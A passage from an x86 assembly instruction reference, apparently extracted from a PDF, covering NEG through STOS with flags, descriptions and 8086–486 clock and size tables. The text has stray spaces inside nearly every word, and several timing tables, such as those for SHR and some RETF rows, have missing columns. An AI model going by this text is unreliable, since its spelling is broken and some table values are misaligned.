Modi f i es f l ags: AF CF OF PF SF ZF


Subt r act s t he dest i nat i on f r om0 and saves t he 2s compl ement of
" dest " back i nt o " dest " .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg 3 2 2 1 2
mem 16+EA 7 6 3 2- 4 ( W88=24+EA)


- see ~I nst r uct i on Ti mi ng~

: nop
^NOP - No Oper at i on ( 90h)


Usage: NOP
Modi f i es f l ags: None


Thi s i s a do not hi ng i nst r uct i on. I t r esul t s i n occupat i on of bot h
space and t i me and i s most usef ul f or pat chi ng code segment s.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 3 3 3 1 1


- see ~I nst r uct i on Ti mi ng~

: not
^NOT - One' s Compl i ment Negat i on ( Logi cal NOT)


Usage: NOT dest
Modi f i es f l ags: None

I nver t s t he bi t s of t he " dest " oper and f or mi ng t he 1s compl ement .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg 3 2 2 1 2
mem 16+EA 7 6 3 2- 4 ( W88=24+EA)


Pagina 829 di 991
- see ~I nst r uct i on Ti mi ng~

: or
^OR - I ncl usi ve Logi cal OR

Usage: OR dest , sr c
Modi f i es f l ags: CF OF PF SF ZF ( AF undef i ned)

Logi cal i ncl usi ve OR of t he t wo oper ands r et ur ni ng t he r esul t i n
t he dest i nat i on. Any bi t set i n ei t her oper and wi l l be set i n t he
dest i nat i on.

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, r eg 3 2 2 1 2
mem, r eg 16+EA 7 7 3 2- 4 ( W88=24+EA)
r eg, mem 9+EA 7 6 2 2- 4 ( W88=13+EA)
r eg, i mmed 4 3 2 1 3- 4
mem8, i mmed8 17+EA 7 7 3 3- 6
mem16, i mmed16 25+EA 7 7 3 3- 6
accum, i mmed 4 3 2 1 2- 3


- see ~I nst r uct i on Ti mi ng~

: out
^OUT - Out put Dat a t o Por t


Usage: OUT por t , accum
Modi f i es f l ags: None

Tr ansf er s byt e i n AL, wor d i n AX or dwor d i n EAX t o t he speci f i ed
har dwar e por t addr ess. I f t he por t number i s i n t he r ange of 0- 255
i t can be speci f i ed as an i mmedi at e. I f gr eat er t han 255 t hen t he
por t number must be speci f i ed i n DX. Si nce t he PC onl y decodes 10
bi t s of t he por t addr ess, val ues over 1023 can onl y be decoded by
t hi r d par t y vendor equi pment and al so map t o t he por t r ange 0- 1023.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

i mmed8, accum 10/ 14 3 10 16 2
i mmed8, accum( PM) - - 4/ 24 11/ 31/ 29 2
DX, accum 8/ 12 3 11 16 1
DX, accum( PM) - - 5/ 25 10/ 30/ 29 1


- 386+ pr ot ect ed mode t i mi ngs depend on pr i vi l ege l evel s.

f i r st number i s t he t i mi ng when: CPL I OPL
second number i s t he t i mi ng when: CPL > I OPL
t hi r d number i s t he t i mi ng when: vi r t ual mode on 486 pr ocessor

- see ~I nst r uct i on Ti mi ng~

: out s: out sb: out sw: out sd
^OUTS - Out put St r i ng t o Por t ( 80188+ onl y)


Usage: OUTS por t , sr c
Pagina 830 di 991
OUTSB
OUTSW
OUTSD ( 386+ onl y)
Modi f i es f l ags: None


Tr ansf er s a byt e, wor d or doubl ewor d f r om" sr c" t o t he har dwar e
por t speci f i ed i n DX. For i nst r uct i ons wi t h no oper ands t he " sr c"
i s l ocat ed at DS: SI and SI i s i ncr ement ed or decr ement ed by t he
si ze of t he oper and or t he si ze di ct at ed by t he i nst r uct i on f or mat .
When t he Di r ect i on Fl ag i s set SI i s decr ement ed, when cl ear , SI i s
i ncr ement ed. I f t he por t number i s i n t he r ange of 0- 255 i t can
be speci f i ed as an i mmedi at e. I f gr eat er t han 255 t hen t he por t
number must be speci f i ed i n DX. Si nce t he PC onl y decodes 10 bi t s
of t he por t addr ess, val ues over 1023 can onl y be decoded by t hi r d
par t y vendor equi pment and al so map t o t he por t r ange 0- 1023.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

por t , sr c - 5 14 17 1
por t , sr c ( PM) - - 8/ 28 10/ 32/ 30 1


- 386+ pr ot ect ed mode t i mi ngs depend on pr i vi l ege l evel s.

f i r st number i s t he t i mi ng when: CPL I OPL
second number i s t he t i mi ng when: CPL > I OPL
t hi r d number i s t he t i mi ng when: vi r t ual mode on 486 pr ocessor

- see ~I nst r uct i on Ti mi ng~

: pop
^POP - Pop Wor d of f St ack


Usage: POP dest
Modi f i es f l ags: None


Tr ansf er s wor d at t he cur r ent st ack t op ( SS: SP) t o t he dest i nat i on
t hen i ncr ement s SP by t wo t o poi nt t o t he new st ack t op. CS i s not
a val i d dest i nat i on.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg16 8 5 4 4 1
r eg32 4 - - 4 1
segr eg 8 5 7 3 1
mem16 17+EA 5 5 6 2- 4
mem32 5 - - 6 2- 4


- see ~I nst r uct i on Ti mi ng~

: popa: popad
^POPA/ POPAD - Pop Al l Regi st er s ont o St ack ( 80188+ onl y)


Usage: POPA
Pagina 831 di 991
POPAD ( 386+ onl y)
Modi f i es f l ags: None


Pops t he t op 8 wor ds of f t he st ack i nt o t he 8 gener al pur pose 16/ 32
bi t r egi st er s. Regi st er s ar e popped i n t he f ol l owi ng or der : ( E) DI ,
( E) SI , ( E) BP, ( E) SP, ( E) DX, ( E) CX and ( E) AX. The ( E) SP val ue popped
f r omt he st ack i s act ual l y di scar ded.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none - 19 24 9 1


- see ~I nst r uct i on Ti mi ng~

: popf : popf d
^POPF/ POPFD - Pop Fl ags of f St ack


Usage: POPF
POPFD ( 386+ onl y)
Modi f i es f l ags: al l f l ags


Pops wor d/ doubl ewor d f r omst ack i nt o t he Fl ags Regi st er and t hen
i ncr ement s SP by 2 ( f or POPF) or 4 ( f or POPFD) .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 8/ 12 5 5 9 1 ( W88=12)
none ( PM) - - 5 6 1


- see ~I nst r uct i on Ti mi ng~

: push
^PUSH - Push Wor d ont o St ack

Usage: PUSH sr c
PUSH i mmed ( 80188+ onl y)
Modi f i es f l ags: None


Decr ement s SP by t he si ze of t he oper and ( t wo or f our , byt e val ues
ar e si gn ext ended) and t r ansf er s one wor d f r omsour ce t o t he st ack
t op ( SS: SP) .

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg16 11/ 15 3 2 1 1
r eg32 - - 2 1 1
mem16 16+EA 5 5 4 2- 4 ( W88=24+EA)
mem32 - - 5 4 2- 4
segr eg 10/ 14 3 2 3 1
i mmed - 3 2 1 2- 3


Pagina 832 di 991
- see ~I nst r uct i on Ti mi ng~

: pusha: pushad
^PUSHA/ PUSHAD - Push Al l Regi st er s ont o St ack ( 80188+ onl y)


Usage: PUSHA
PUSHAD ( 386+ onl y)
Modi f i es f l ags: None


Pushes al l gener al pur pose r egi st er s ont o t he st ack i n t he f ol l owi ng
or der : ( E) AX, ( E) CX, ( E) DX, ( E) BX, ( E) SP, ( E) BP, ( E) SI , ( E) DI . The
val ue of SP i s t he val ue bef or e t he act ual push of SP.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none - 19 24 11 1


- see ~I nst r uct i on Ti mi ng~

: pushf : pushf d
^PUSHF/ PUSHFD - Push Fl ags ont o St ack


Usage: PUSHF
PUSHFD ( 386+ onl y)
Modi f i es f l ags: None


Tr ansf er s t he Fl ags Regi st er ont o t he st ack. PUSHF saves a 16 bi t
val ue whi l e PUSHFD saves a 32 bi t val ue.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 10/ 14 3 4 4 1
none ( PM) - - 4 3 1


- see ~I nst r uct i on Ti mi ng~

: r cl
^RCL - Rot at e Thr ough Car r y Lef t

Usage: RCL dest , count
Modi f i es f l ags: CF OF


Rot at es t he bi t s i n t he dest i nat i on t o t he l ef t " count " t i mes wi t h
al l dat a pushed out t he l ef t si de r e- ent er i ng on t he r i ght . The
Car r y Fl ag hol ds t he l ast bi t r ot at ed out .

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, 1 2 2 9 3 2
mem, 1 15+EA 7 10 4 2- 4 ( W88=23+EA)
r eg, CL 8+4n 5+n 9 8- 30 2
Pagina 833 di 991
mem, CL 20+EA+4n 8+n 10 9- 31 2- 4 ( W88=28+EA+4n)
r eg, i mmed8 - 5+n 9 8- 30 3
mem, i mmed8 - 8+n 10 9- 31 3- 5


- see ~I nst r uct i on Ti mi ng~

: r cr
^RCR - Rot at e Thr ough Car r y Ri ght

Usage: RCR dest , count
Modi f i es f l ags: CF OF


Rot at es t he bi t s i n t he dest i nat i on t o t he r i ght " count " t i mes wi t h
al l dat a pushed out t he r i ght si de r e- ent er i ng on t he l ef t . The
Car r y Fl ag hol ds t he l ast bi t r ot at ed out .

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, 1 2 2 9 3 2
mem, 1 15+EA 7 10 4 2- 4 ( W88=23+EA)
r eg, CL 8+4n 5+n 9 8- 30 2
mem, CL 20+EA+4n 8+n 10 9- 31 2- 4 ( W88=28+EA+4n)
r eg, i mmed8 - 5+n 9 8- 30 3
mem, i mmed8 - 8+n 10 9- 31 3- 5


- see ~I nst r uct i on Ti mi ng~

: r ep
^REP - Repeat St r i ng Oper at i on

Usage: REP
Modi f i es f l ags: None

Repeat s execut i on of st r i ng i nst r uct i ons whi l e CX ! = 0. Af t er
each st r i ng oper at i on, CX i s decr ement ed and t he Zer o Fl ag i s
t est ed. The combi nat i on of a r epeat pr ef i x and a segment over r i de
on CPU' s bef or e t he 386 may r esul t i n er r or s i f an i nt er r upt occur s
bef or e CX=0. The f ol l owi ng code shows code t hat i s suscept i bl e t o
t hi s and how t o avoi d i t :

agai n: r ep movs byt e pt r ES: [ DI ] , ES: [ SI ] ; vul ner abl e i nst r .
j cxz next ; cont i nue i f REP successf ul
l oop agai n ; i nt er r upt goof ed count
next :

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 2 2 2 1


- see ~I nst r uct i on Ti mi ng~ ~REPE~ ~REPNE~
: r epe: r epz
^REPE/ REPZ - Repeat Equal / Repeat Zer o


Usage: REPE
REPZ
Modi f i es f l ags: None
Pagina 834 di 991


Repeat s execut i on of st r i ng i nst r uct i ons whi l e CX ! = 0 and t he Zer o
Fl ag i s set . CX i s decr ement ed and t he Zer o Fl ag t est ed af t er
each st r i ng oper at i on. The combi nat i on of a r epeat pr ef i x and a
segment over r i de on pr ocessor s ot her t han t he 386 may r esul t i n
er r or s i f an i nt er r upt occur s bef or e CX=0.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 2 2 2 1


- see ~I nst r uct i on Ti mi ng~

: r epne: r epnz
^REPNE/ REPNZ - Repeat Not Equal / Repeat Not Zer o


Usage: REPNE
REPNZ
Modi f i es f l ags: None


Repeat s execut i on of st r i ng i nst r uct i ons whi l e CX ! = 0 and t he Zer o
Fl ag i s cl ear . CX i s decr ement ed and t he Zer o Fl ag t est ed af t er
each st r i ng oper at i on. The combi nat i on of a r epeat pr ef i x and a
segment over r i de on pr ocessor s ot her t han t he 386 may r esul t i n
er r or s i f an i nt er r upt occur s bef or e CX=0.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 2 2 2 1


- see ~I nst r uct i on Ti mi ng~

: r et : r et f : r et n
^RET/ RETF - Ret ur n Fr omPr ocedur e

Usage: RET nByt es
RETF nByt es
RETN nByt es
Modi f i es f l ags: None

Tr ansf er s cont r ol f r oma pr ocedur e back t o t he i nst r uct i on addr ess
saved on t he st ack. " n byt es" i s an opt i onal number of byt es t o
r el ease. Far r et ur ns pop t he I P f ol l owed by t he CS, whi l e near
r et ur ns pop onl y t he I P r egi st er .

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r et n 16/ 20 11+m 10+m 5 1
r et n i mmed 20/ 24 11+m 10+m 5 3
r et f 26/ 34 15+m 18+m 13 1
r et f ( PM, same pr i v. ) - 32+m 18 1
r et f ( PM, l esser pr i v. ) - 68 33 1
r et f i mmed 25/ 33 15+m 18+m 14 3
Pagina 835 di 991
r et f i mmed ( PM, same pr i v. ) 32+m 17 1
r et f i mmed ( PM, l esser pr i v. ) 68 33 1


- see ~I nst r uct i on Ti mi ng~

: r ol
^ROL - Rot at e Lef t

Usage: ROL dest , count
Modi f i es f l ags: CF OF


Rot at es t he bi t s i n t he dest i nat i on t o t he l ef t " count " t i mes wi t h
al l dat a pushed out t he l ef t si de r e- ent er i ng on t he r i ght . The
Car r y Fl ag wi l l cont ai n t he val ue of t he l ast bi t r ot at ed out .

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, 1 2 2 3 3 2
mem, 1 15+EA 7 7 4 2- 4 ( W88=23+EA)
r eg, CL 8+4n 5+n 3 3 2
mem, CL 20+EA+4n 8+n 7 4 2- 4 ( W88=28+EA+4n)
r eg, i mmed8 - 5+n 3 2 3
mem, i mmed8 - 8+n 7 4 3- 5


- see ~I nst r uct i on Ti mi ng~

: r or
^ROR - Rot at e Ri ght

Usage: ROR dest , count
Modi f i es f l ags: CF OF


Rot at es t he bi t s i n t he dest i nat i on t o t he r i ght " count " t i mes wi t h
al l dat a pushed out t he r i ght si de r e- ent er i ng on t he l ef t . The
Car r y Fl ag wi l l cont ai n t he val ue of t he l ast bi t r ot at ed out .

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, 1 2 2 3 3 2
mem, 1 15+EA 7 7 4 2- 4 ( W88=23+EA)
r eg, CL 8+4n 5+n 3 3 2
mem, CL 20+EA+4n 8+n 7 4 2- 4 ( W88=28+EA+4n)
r eg, i mmed8 - 5+n 3 2 3
mem, i mmed8 - 8+n 7 4 3- 5


- see ~I nst r uct i on Ti mi ng~

: sahf
^SAHF - St or e AH Regi st er i nt o FLAGS


Usage: SAHF
Modi f i es f l ags: AF CF PF SF ZF


Tr ansf er s bi t s 0- 7 of AH i nt o t he Fl ags Regi st er . Thi s i ncl udes
Pagina 836 di 991
AF, CF, PF, SF and ZF.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 4 2 3 2 1


- see ~I nst r uct i on Ti mi ng~

: sal : shl
^SAL/ SHL - Shi f t Ar i t hmet i c Lef t / Shi f t Logi cal Lef t

Usage: SAL dest , count
SHL dest , count
Modi f i es f l ags: CF OF PF SF ZF ( AF undef i ned)


Shi f t s t he dest i nat i on l ef t by " count " bi t s wi t h zer oes shi f t ed
i n on r i ght . The Car r y Fl ag cont ai ns t he l ast bi t shi f t ed out .

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, 1 2 2 3 3 2
mem, 1 15+EA 7 7 4 2- 4 ( W88=23+EA)
r eg, CL 8+4n 5+n 3 3 2
mem, CL 20+EA+4n 8+n 7 4 2- 4 ( W88=28+EA+4n)
r eg, i mmed8 - 5+n 3 2 3
mem, i mmed8 - 8+n 7 4 3- 5


- see ~I nst r uct i on Ti mi ng~

: sar
^SAR - Shi f t Ar i t hmet i c Ri ght

Usage: SAR dest , count
Modi f i es f l ags: CF OF PF SF ZF ( AF undef i ned)


Shi f t s t he dest i nat i on r i ght by " count " bi t s wi t h t he cur r ent si gn
bi t r epl i cat ed i n t he l ef t most bi t . The Car r y Fl ag cont ai ns t he
l ast bi t shi f t ed out .

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, 1 2 2 3 3 2
mem, 1 15+EA 7 7 4 2- 4 ( W88=23+EA)
r eg, CL 8+4n 5+n 3 3 2
mem, CL 20+EA+4n 8+n 7 4 2- 4 ( W88=28+EA+4n)
r eg, i mmed8 - 5+n 3 2 3
mem, i mmed8 - 8+n 7 4 3- 5


- see ~I nst r uct i on Ti mi ng~

: sbb
^SBB - Subt r act wi t h Bor r ow

Usage: SBB dest , sr c
Pagina 837 di 991
Modi f i es f l ags: AF CF OF PF SF ZF


Subt r act s t he sour ce f r omt he dest i nat i on, and subt r act s 1 ext r a i f
t he Car r y Fl ag i s set . Resul t s ar e r et ur ned i n " dest " .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, r eg 3 2 2 1 2
mem, r eg 16+EA 7 6 3 2- 4 ( W88=24+EA)
r eg, mem 9+EA 7 7 2 2- 4 ( W88=13+EA)
r eg, i mmed 4 3 2 1 3- 4
mem, i mmed 17+EA 7 7 3 3- 6 ( W88=25+EA)
accum, i mmed 4 3 2 1 2- 3


- see ~I nst r uct i on Ti mi ng~

: scas: scasb: scasw: scasd
^SCAS - Scan St r i ng ( Byt e, Wor d or Doubl ewor d)


Usage: SCAS st r i ng
SCASB
SCASW
SCASD ( 386+ onl y)
Modi f i es f l ags: AF CF OF PF SF ZF


Compar es val ue at ES: DI ( even i f oper and i s speci f i ed) f r omt he
accumul at or and set s t he f l ags si mi l ar t o a subt r act i on. DI i s
i ncr ement ed/ decr ement ed based on t he i nst r uct i on f or mat ( or
oper and si ze) and t he st at e of t he Di r ect i on Fl ag. Use wi t h REP
pr ef i xes.

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

st r i ng 15 7 7 6 1 ( W88=19)


- see ~I nst r uct i on Ti mi ng~

: set ae: set nb
^SETAE/ SETNB - Set i f Above or Equal / Set i f Not Bel ow
^( unsi gned, 386+ onl y)


Usage: SETAE dest
SETNB dest
Modi f i es f l ags: none


Set s t he byt e i n t he oper and t o 1 i f t he Car r y Fl ag i s cl ear
ot her wi se set s t he oper and t o 0.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 - - 4 3 3
Pagina 838 di 991
mem8 - - 5 4 3


- see ~I nst r uct i on Ti mi ng~

: set b: set nae
^SETB/ SETNAE - Set i f Bel ow / Set i f Not Above or Equal
^( unsi gned, 386+ onl y)


Usage: SETB dest
SETNAE dest
Modi f i es f l ags: none


Set s t he byt e i n t he oper and t o 1 i f t he Car r y Fl ag i s set
ot her wi se set s t he oper and t o 0.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 - - 4 3 3
mem8 - - 5 4 3


- see ~I nst r uct i on Ti mi ng~

: set be: set na
^SETBE/ SETNA - Set i f Bel ow or Equal / Set i f Not Above
^( unsi gned, 386+ onl y)


Usage: SETBE dest
SETNA dest
Modi f i es f l ags: none


Set s t he byt e i n t he oper and t o 1 i f t he Car r y Fl ag or t he Zer o
Fl ag i s set , ot her wi se set s t he oper and t o 0.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 - - 4 3 3
mem8 - - 5 4 3


- see ~I nst r uct i on Ti mi ng~

: set e: set z
^SETE/ SETZ - Set i f Equal / Set i f Zer o ( 386+ onl y)


Usage: SETE dest
SETZ dest
Modi f i es f l ags: none


Set s t he byt e i n t he oper and t o 1 i f t he Zer o Fl ag i s set ,
ot her wi se set s t he oper and t o 0.

Pagina 839 di 991

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 - - 4 3 3
mem8 - - 5 4 3


- see ~I nst r uct i on Ti mi ng~

: set ne: set nz
^SETNE/ SETNZ - Set i f Not Equal / Set i f Not Zer o ( 386+ onl y)


Usage: SETNE dest
SETNZ dest
Modi f i es f l ags: none


Set s t he byt e i n t he oper and t o 1 i f t he Zer o Fl ag i s cl ear ,
ot her wi se set s t he oper and t o 0.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 - - 4 3 3
mem8 - - 5 4 3


- see ~I nst r uct i on Ti mi ng~

: set l : set nge
^SETL/ SETNGE - Set i f Less / Set i f Not Gr eat er or Equal
^( si gned, 386+ onl y)


Usage: SETL dest
SETNGE dest
Modi f i es f l ags: none


Set s t he byt e i n t he oper and t o 1 i f t he Si gn Fl ag i s not equal
t o t he Over f l ow Fl ag, ot her wi se set s t he oper and t o 0.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 - - 4 3 3
mem8 - - 5 4 3


- see ~I nst r uct i on Ti mi ng~

: set ge: set nl
^SETGE/ SETNL - Set i f Gr eat er or Equal / Set i f Not Less
^( si gned, 386+ onl y)


Usage: SETGE dest
SETNL dest
Modi f i es f l ags: none
Pagina 840 di 991


Set s t he byt e i n t he oper and t o 1 i f t he Si gn Fl ag equal s t he
Over f l ow Fl ag, ot her wi se set s t he oper and t o 0.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 - - 4 3 3
mem8 - - 5 4 3


- see ~I nst r uct i on Ti mi ng~

: set l e: set ng
^SETLE/ SETNG - Set i f Less or Equal / Set i f Not gr eat er or Equal
^( si gned, 386+ onl y)


Usage: SETLE dest
SETNG dest
Modi f i es f l ags: none


Set s t he byt e i n t he oper and t o 1 i f t he Zer o Fl ag i s set or t he
Si gn Fl ag i s not equal t o t he Over f l ow Fl ag, ot her wi se set s t he
oper and t o 0.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 - - 4 3 3
mem8 - - 5 4 3


- see ~I nst r uct i on Ti mi ng~

: set g: set nl e
^SETG/ SETNLE - Set i f Gr eat er / Set i f Not Less or Equal
^( si gned, 386+ onl y)


Usage: SETG dest
SETNLE dest
Modi f i es f l ags: none


Set s t he byt e i n t he oper and t o 1 i f t he Zer o Fl ag i s cl ear or t he
Si gn Fl ag equal s t o t he Over f l ow Fl ag, ot her wi se set s t he oper and
t o 0.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 - - 4 3 3
mem8 - - 5 4 3


- see ~I nst r uct i on Ti mi ng~

Pagina 841 di 991
: set s
^SETS - Set i f Si gned ( 386+ onl y)


Usage: SETS dest
Modi f i es f l ags: none


Set s t he byt e i n t he oper and t o 1 i f t he Si gn Fl ag i s set , ot her wi se
set s t he oper and t o 0.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 - - 4 3 3
mem8 - - 5 4 3


- see ~I nst r uct i on Ti mi ng~

: set ns
^SETNS - Set i f Not Si gned ( 386+ onl y)


Usage: SETNS dest
Modi f i es f l ags: none


Set s t he byt e i n t he oper and t o 1 i f t he Si gn Fl ag i s cl ear ,
ot her wi se set s t he oper and t o 0.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 - - 4 3 3
mem8 - - 5 4 3


- see ~I nst r uct i on Ti mi ng~

: set c
^SETC - Set i f Car r y ( 386+ onl y)


Usage: SETC dest
Modi f i es f l ags: none


Set s t he byt e i n t he oper and t o 1 i f t he Car r y Fl ag i s set ,
ot her wi se set s t he oper and t o 0.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 - - 4 3 3
mem8 - - 5 4 3


- see ~I nst r uct i on Ti mi ng~

Pagina 842 di 991
: set nc
^SETNC - Set i f Not Car r y ( 386+ onl y)


Usage: SETNC dest
Modi f i es f l ags: none


Set s t he byt e i n t he oper and t o 1 i f t he Car r y Fl ag i s cl ear ,
ot her wi se set s t he oper and t o 0.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 - - 4 3 3
mem8 - - 5 4 3


- see ~I nst r uct i on Ti mi ng~

: set o
^SETO - Set i f Over f l ow ( 386+ onl y)


Usage: SETO dest
Modi f i es f l ags: none


Set s t he byt e i n t he oper and t o 1 i f t he Over f l ow Fl ag i s set ,
ot her wi se set s t he oper and t o 0.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 - - 4 3 3
mem8 - - 5 4 3


- see ~I nst r uct i on Ti mi ng~

: set no
^SETNO - Set i f Not Over f l ow ( 386+ onl y)


Usage: SETNO dest
Modi f i es f l ags: none


Set s t he byt e i n t he oper and t o 1 i f t he Over f l ow Fl ag i s cl ear ,
ot her wi se set s t he oper and t o 0.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 - - 4 3 3
mem8 - - 5 4 3


- see ~I nst r uct i on Ti mi ng~

Pagina 843 di 991
: set p: set pe
^SETP/ SETPE - Set i f Par i t y / Set i f Par i t y Even ( 386+ onl y)


Usage: SETP dest
SETPE dest
Modi f i es f l ags: none


Set s t he byt e i n t he oper and t o 1 i f t he Par i t y Fl ag i s set ,
ot her wi se set s t he oper and t o 0.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 - - 4 3 3
mem8 - - 5 4 3


- see ~I nst r uct i on Ti mi ng~

: set np: set po
^SETNP/ SETPO - Set i f No Par i t y / Set i f Par i t y Odd ( 386+ onl y)


Usage: SETNP dest
SETPO dest
Modi f i es f l ags: none


Set s t he byt e i n t he oper and t o 1 i f t he Par i t y Fl ag i s cl ear ,
ot her wi se set s t he oper and t o 0.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 - - 4 3 3
mem8 - - 5 4 3


- see ~I nst r uct i on Ti mi ng~

: sgdt
^SGDT - St or e Gl obal Descr i pt or Tabl e ( 286+ pr i vi l eged)


Usage: SGDT dest
Modi f i es f l ags: none


St or es t he Gl obal Descr i pt or Tabl e ( ~GDT~) Regi st er i nt o t he
speci f i ed oper and.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

mem64 - 11 9 10 5


- see ~I nst r uct i on Ti mi ng~
Pagina 844 di 991

: si dt
^SI DT - St or e I nt er r upt Descr i pt or Tabl e ( 286+ pr i vi l eged)


Usage: SI DT dest
Modi f i es f l ags: none


St or es t he I nt er r upt Descr i pt or Tabl e ( I DT) Regi st er i nt o t he
speci f i ed oper and.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

mem64 - 12 9 10 5


- see ~I nst r uct i on Ti mi ng~

: shr
^SHR - Shi f t Logi cal Ri ght

Usage: SHR dest , count
Modi f i es f l ags: CF OF PF SF ZF ( AF undef i ned)


Shi f t s t he dest i nat i on r i ght by " count " bi t s wi t h zer oes shi f t ed
i n on t he l ef t . The Car r y Fl ag cont ai ns t he l ast bi t shi f t ed out .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, 1 2 2 3 2
mem, 1 15+EA 7 7 2- 4 ( W88=23+EA)
r eg, CL 8+4n 5+n 3 2
mem, CL 20+EA+4n 8+n 7 2- 4 ( W88=28+EA+4n)
r eg, i mmed8 - 5+n 3 3
mem, i mmed8 - 8+n 7 3- 5


- see ~I nst r uct i on Ti mi ng~

: shl d: shr d
^SHLD/ SHRD - Doubl e Pr eci si on Shi f t ( 386+ onl y)


Usage: SHLD dest , sr c, count
SHRD dest , sr c, count
Modi f i es f l ags: CF PF SF ZF ( OF, AF undef i ned)


SHLD shi f t s " dest " t o t he l ef t " count " t i mes and t he bi t posi t i ons
opened ar e f i l l ed wi t h t he most si gni f i cant bi t s of " sr c" . SHRD
shi f t s " dest " t o t he r i ght " count " t i mes and t he bi t posi t i ons
opened ar e f i l l ed wi t h t he l east si gni f i cant bi t s of t he second
oper and. Onl y t he 5 l ower bi t s of " count " ar e used.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es
Pagina 845 di 991

r eg16, r eg16, i mmed8 - - 3 2 4
r eg32, r eg32, i mmed8 - - 3 2 4
mem16, r eg16, i mmed8 - - 7 3 6
mem32, r eg32, i mmed8 - - 7 3 6
r eg16, r eg16, CL - - 3 3 3
r eg32, r eg32, CL - - 3 3 3
mem16, r eg16, CL - - 7 4 5
mem32, r eg32, CL - - 7 4 5


- see ~I nst r uct i on Ti mi ng~

: sl dt
^SLDT - St or e Local Descr i pt or Tabl e ( 286+ pr i vi l eged)


Usage: SLDT dest
Modi f i es f l ags: none


St or es t he Local Descr i pt or Tabl e ( LDT) Regi st er i nt o t he
speci f i ed oper and.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg16 - 2 2 2 3
mem16 - 2 2 3 5


- see ~I nst r uct i on Ti mi ng~

: smsw
^SMSW- St or e Machi ne St at us Wor d ( 286+ pr i vi l eged)


Usage: SMSW dest
Modi f i es f l ags: none


St or e Machi ne St at us Wor d ( ~MSW~) i nt o " dest " .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg16 - 2 10 2 3
mem16 - 3 3 3 5


- see ~I nst r uct i on Ti mi ng~

: st c
^STC - Set Car r y


Usage: STC
Modi f i es f l ags: CF


Set s t he Car r y Fl ag t o 1.
Pagina 846 di 991


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 2 2 2 2 1


- see ~I nst r uct i on Ti mi ng~

: st d
^STD - Set Di r ect i on Fl ag


Usage: STD
Modi f i es f l ags: DF


Set s t he Di r ect i on Fl ag t o 1 causi ng st r i ng i nst r uct i ons t o
aut o- decr ement SI and DI i nst ead of aut o- i ncr ement .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 2 2 2 2 1


- see ~I nst r uct i on Ti mi ng~

: st i
^STI - Set I nt er r upt Fl ag ( Enabl e I nt er r upt s)


Usage: STI
Modi f i es f l ags: I F


Set s t he I nt er r upt Fl ag t o 1, enabl i ng r ecogni t i on of al l CPU
har dwar e i nt er r upt s.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 2 2 2 5 1


- see ~I nst r uct i on Ti mi ng~

: st os: st osb: st osw: st osd
^STOS - St or e St r i ng ( Byt e, Wor d or Doubl ewor d)


Usage: STOS dest
STOSB
STOSW
STOSD
Modi f i es f l ags: None


St or es val ue i n accumul at or t o l ocat i on at ES: ( E) DI ( even i f oper and
i s gi ven) . ( E) DI i s i ncr ement ed/ decr ement ed based on t he si ze of
Pagina 847 di 991
t he oper and ( or i nst r uct i on f or mat ) and t he st at e of t he Di r ect i on
Fl ag. Use wi t h ~REP~ pr ef i xes.


% Cl ocks Si ze
